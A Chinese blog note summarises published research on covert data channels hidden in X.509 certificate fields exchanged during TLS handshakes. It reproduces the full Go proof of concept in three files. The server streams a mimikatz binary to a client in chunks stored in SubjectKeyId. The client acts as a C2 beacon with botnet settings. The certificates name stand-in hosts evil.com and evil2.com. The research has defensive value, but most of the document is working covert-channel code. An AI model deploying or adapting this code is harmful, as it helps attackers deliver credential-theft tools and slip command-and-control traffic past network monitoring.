使用X.509公钥证书传递进行隐匿传输数据

使用X.509公钥证书传递进行隐匿传输数据

看到国外一篇有关于在ssl认证过程中,通过证书传递达到一个隐匿传输数据的过程

隐蔽通道

使用隐蔽通道在网络上传输数据并不新鲜。在过去的二十年,各种刊物上都有这样的参考文献[1]。例如,向ICMP追加数据被认为是2005年采用的数据传输方式[2],其引用了1997年的文献。实际上,最早提出采纳实用的隐蔽通道出自1993年的政府刊物[3]。研究人员不断的寻找滥用协议及RFC的新颖方法,以实现难以检测的数据传输方法。

2018年1月,Fidelis的研究人员Jason Reaves发表了使用X.509扩展来实现隐藏通道的研究[7],扩充了此前的研究[6]。可在已发表的研究[5][17]中阅读相关方法。

Jason在论文中描述了一个系统,可用来发送或接收来自客户端和服务器的数据。通过对X.509证书的研究,特别是可将任意二进制数据嵌入证书,或许可将其用作隐蔽通道。研究表明,动力十足的攻击者可利用此技术实现超出预定目标的攻击,最终可绕过常见的安全措施。

简而言之,TLS X.509证书有很多可以存储字符串的字段,可参见这张图片[16]。

这些字段包括版本、序列号、颁发者名称、有效期等。在研究中描述的证书滥用,就是将传输的数据隐藏在这些字段中的一个。由于证书交换在TLS会话建立之前,因此好像没有进行数据传输,而实际上数据在证书交换过程中传输。

给出作者的一个POC

server.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
/*
Server code for demonstrating transfering a file over x509 extension covert channel.
Research paper over x509 covert channel: http://vixra.org/abs/1801.0016
Written by: Jason Reaves
ver1 - 2Jan2018

MIT License

Copyright (c) 2018 Jason Reaves

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
package main

import (
"crypto/rand"
"crypto/rsa"
"crypto/tls"
"crypto/x509"
"fmt"
"io/ioutil"
"log"
"malcert_mimikatz_poc/helper"
"net"
)

type active_client struct {
ip string
index int
}

var currclient active_client

func verifyHook(rawCerts [][]byte, verifiedChains [][]*x509.Certificate) error {
cert, _ := x509.ParseCertificate(rawCerts[0])
data := cert.SubjectKeyId
dec := helper.DecryptData(data)
fmt.Println("Received from client: ", dec)
return nil
}

var bsize = 10000

func main() {
priv, _ := rsa.GenerateKey(rand.Reader, 4096)
ca, pv := helper.GenCert("EICAR", []byte{}, []string{"http://evil.com/ca1.crl", "http://evil2.com/ca2.crl"}, priv)

fdata, _ := ioutil.ReadFile("mimikatz.bin")
sz := len(fdata)
iterations := sz / bsize
fmt.Println("Iterations until done: ", iterations)

for {
cert, err := tls.X509KeyPair(ca, pv)
if err != nil {
log.Fatalf("server: loadkeys: %s", err)
}
config := tls.Config{Certificates: []tls.Certificate{cert}}
config.InsecureSkipVerify = true
config.VerifyPeerCertificate = verifyHook
config.ClientAuth = tls.RequireAnyClientCert
config.Rand = rand.Reader
service := "0.0.0.0:4433"
listener, err := tls.Listen("tcp", service, &config)
if err != nil {
log.Fatalf("server: listen: %s", err)
}
//log.Print("server: listening")
conn, err := listener.Accept()
if err != nil {
log.Printf("server: accept: %s", err)
break
}
defer conn.Close()
if currclient.ip == "" {
currclient.ip = conn.RemoteAddr().String()
currclient.index = 0
} else {
blob := []byte("DONE")
if currclient.index < iterations {
blob = fdata[currclient.index*bsize : (currclient.index+1)*bsize]
} else if currclient.index == iterations {
blob = fdata[currclient.index*bsize : sz]
} else {
currclient.index = 0
currclient.ip = ""
}
currclient.index += 1
ca, pv = helper.GenCertWithFile("EICAR", blob, priv)
}
log.Printf("server: accepted from %s", conn.RemoteAddr())
tlscon, ok := conn.(*tls.Conn)
if ok {
log.Print("ok=true")
state := tlscon.ConnectionState()
log.Print(state.PeerCertificates)
for _, v := range state.PeerCertificates {
log.Print(x509.MarshalPKIXPublicKey(v.PublicKey))
}
}
go handleClient(conn)
listener.Close()
}
}

func handleClient(conn net.Conn) {
defer conn.Close()
buf := make([]byte, 512)
for {
log.Print("server: conn: waiting")
n, err := conn.Read(buf)
if err != nil {
if err != nil {
log.Printf("server: conn: read: %s", err)
}
break
}
log.Printf("server: conn: echo %q\n", string(buf[:n]))
n, err = conn.Write(buf[:n])

n, err = conn.Write(buf[:n])
log.Printf("server: conn: wrote %d bytes", n)

if err != nil {
log.Printf("server: write: %s", err)
break
}
}
log.Println("server: conn: closed")
}

client.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
/*
Client code for demonstrating transfering a file over x509 extension covert channel.
Research paper over x509 covert channel: http://vixra.org/abs/1801.0016
Written by: Jason Reaves
ver1 - 2Jan2018

MIT License

Copyright (c) 2018 Jason Reaves

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
package main

import (
"crypto/md5"
"crypto/rand"
"crypto/rsa"
"crypto/tls"
//"crypto/x509"
"bytes"
"fmt"
"log"
"malcert_mimikatz_poc/helper"
"time"
)

type settings struct {
c2 string
port string
botnet string
priv *rsa.PrivateKey
}

func SendData(settings settings, data string) {
//We can load cert data from files as well
//cert, err := tls.LoadX509KeyPair("certs/client.pem", "certs/client.key")
ca, pv := helper.GenCertWithString(settings.botnet, data, settings.priv)
c2 := settings.c2 + ":" + settings.port
cert, err := tls.X509KeyPair(ca, pv)
if err != nil {
log.Fatalf("server: loadkeys: %s", err)
}
config := tls.Config{Certificates: []tls.Certificate{cert}, InsecureSkipVerify: true}
fdata := []byte{}
for {
conn, err := tls.Dial("tcp", c2, &config)
if err != nil {
log.Fatalf("client: dial: %s", err)
}
log.Println("client: connected to: ", conn.RemoteAddr())

state := conn.ConnectionState()
rdata := []byte{}
for _, v := range state.PeerCertificates {
rdata = v.SubjectKeyId
if bytes.Compare(rdata, []byte("DONE")) == 0 {
break
}
fdata = append(fdata, v.SubjectKeyId...)
//fmt.Println("Tasks: ", v.CRLDistributionPoints)
}
if bytes.Compare(rdata, []byte("DONE")) == 0 {
log.Println("End of data reached")
break
}
conn.Close()
fmt.Println("Total Received: ", len(fdata))
time.Sleep(1)
}
fmt.Println("Data received: ", len(fdata))
fmt.Printf("Md5: %x", md5.Sum(fdata))

log.Print("client: exiting")
}

func main() {
priv, _ := rsa.GenerateKey(rand.Reader, 4096)
c2_settings := settings{"127.0.0.1", "4433", "EICAR", priv}
SendData(c2_settings, "Im Alive")
}

helper.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
/*
Helper code for demonstrating transfering a file over x509 extension covert channel.
Research paper over x509 covert channel: http://vixra.org/abs/1801.0016
Written by: Jason Reaves
ver1 - 2Jan2018

MIT License

Copyright (c) 2018 Jason Reaves

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
package helper

import (
"crypto/rand"
"crypto/rc4"
"crypto/rsa"
// "crypto/tls"
"crypto/x509"
"crypto/x509/pkix"
//"encoding/asn1"
//"encoding/hex"
"encoding/pem"
//"fmt"
//"io/ioutil"
"log"
"math/big"
"time"
)

func encryptData(data string) []byte {
key := make([]byte, 2)
_, err := rand.Read(key)
if err != nil {
log.Println("Random data creation error: ", err)
}
c, err := rc4.NewCipher(key)
enc := make([]byte, len(data))
c.XORKeyStream(enc, []byte(data))

//return hex.EncodeToString(enc)
return append(key, enc...)
}

func DecryptData(data []byte) string {
key := data[:2]
c, err := rc4.NewCipher(key)
if err != nil {
log.Println("RC4 error: ", err)
}
dec := make([]byte, len(data[2:]))
c.XORKeyStream(dec, data[2:])
return string(dec[:])
}

//func GenCertPriv(cn string, data string, crl []string) (*rsa.PrivateKey, []byte, []byte) {
// priv, _ := rsa.GenerateKey(rand.Reader, 4096)
// c, p := GenCert(cn, data, crl, priv)
// return priv, c, p
//}

func GenCertWithFile(cn string, fdata []byte, priv *rsa.PrivateKey) ([]byte, []byte) {
return GenCert(cn, fdata, []string{}, priv)
}

func GenCertWithString(cn string, data string, priv *rsa.PrivateKey) ([]byte, []byte) {
encData := encryptData(data)
return GenCert(cn, encData, []string{}, priv)
}

func GenCert(cn string, data []byte, crl []string, priv *rsa.PrivateKey) ([]byte, []byte) {
//extSubKeyId := pkix.Extension{}
//extSubKeyId.Id = asn1.ObjectIdentifier{2, 5, 29, 14}
//extSubKeyId.Critical = true
//extSubKeyId.Value = []byte(`d99962b39e`)

ca := &x509.Certificate{
SerialNumber: big.NewInt(1337),
Subject: pkix.Name{
Country: []string{"Neuland"},
Organization: []string{"Example Org"},
OrganizationalUnit: []string{"Auto"},
CommonName: cn,
},
Issuer: pkix.Name{
Country: []string{"Neuland"},
Organization: []string{"Skynet"},
OrganizationalUnit: []string{"Computer Emergency Response Team"},
Locality: []string{"Neuland"},
Province: []string{"Neuland"},
StreetAddress: []string{"Mainstreet 23"},
PostalCode: []string{"12345"},
SerialNumber: "23",
CommonName: cn,
},
SignatureAlgorithm: x509.SHA512WithRSA,
PublicKeyAlgorithm: x509.ECDSA,
NotBefore: time.Now(),
NotAfter: time.Now().AddDate(0, 0, 10),
//SubjectKeyId: encData,
BasicConstraintsValid: true,
IsCA: true,
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth},
KeyUsage: x509.KeyUsageDigitalSignature | x509.KeyUsageCertSign,
//ExtraExtensions: []pkix.Extension{extSubKeyId},
}
if len(data) > 0 {
//encData := encryptData(data)
//ca.SubjectKeyId = encData
ca.SubjectKeyId = data
}
if len(crl) > 0 {
ca.CRLDistributionPoints = crl
}

//priv, _ := rsa.GenerateKey(rand.Reader, 4096)
privPem := pem.EncodeToMemory(&pem.Block{
Type: "RSA PRIVATE KEY",
Bytes: x509.MarshalPKCS1PrivateKey(priv),
})
pub := &priv.PublicKey
ca_b, err := x509.CreateCertificate(rand.Reader, ca, ca, pub, priv)
if err != nil {
log.Fatalf("create cert failed %#v", err)
panic("Cert Creation Error")
}

certPem := pem.EncodeToMemory(&pem.Block{
Type: "CERTIFICATE",
Bytes: ca_b,
})

return certPem, privPem

}

这里主要做个笔记记录一下,原文在这里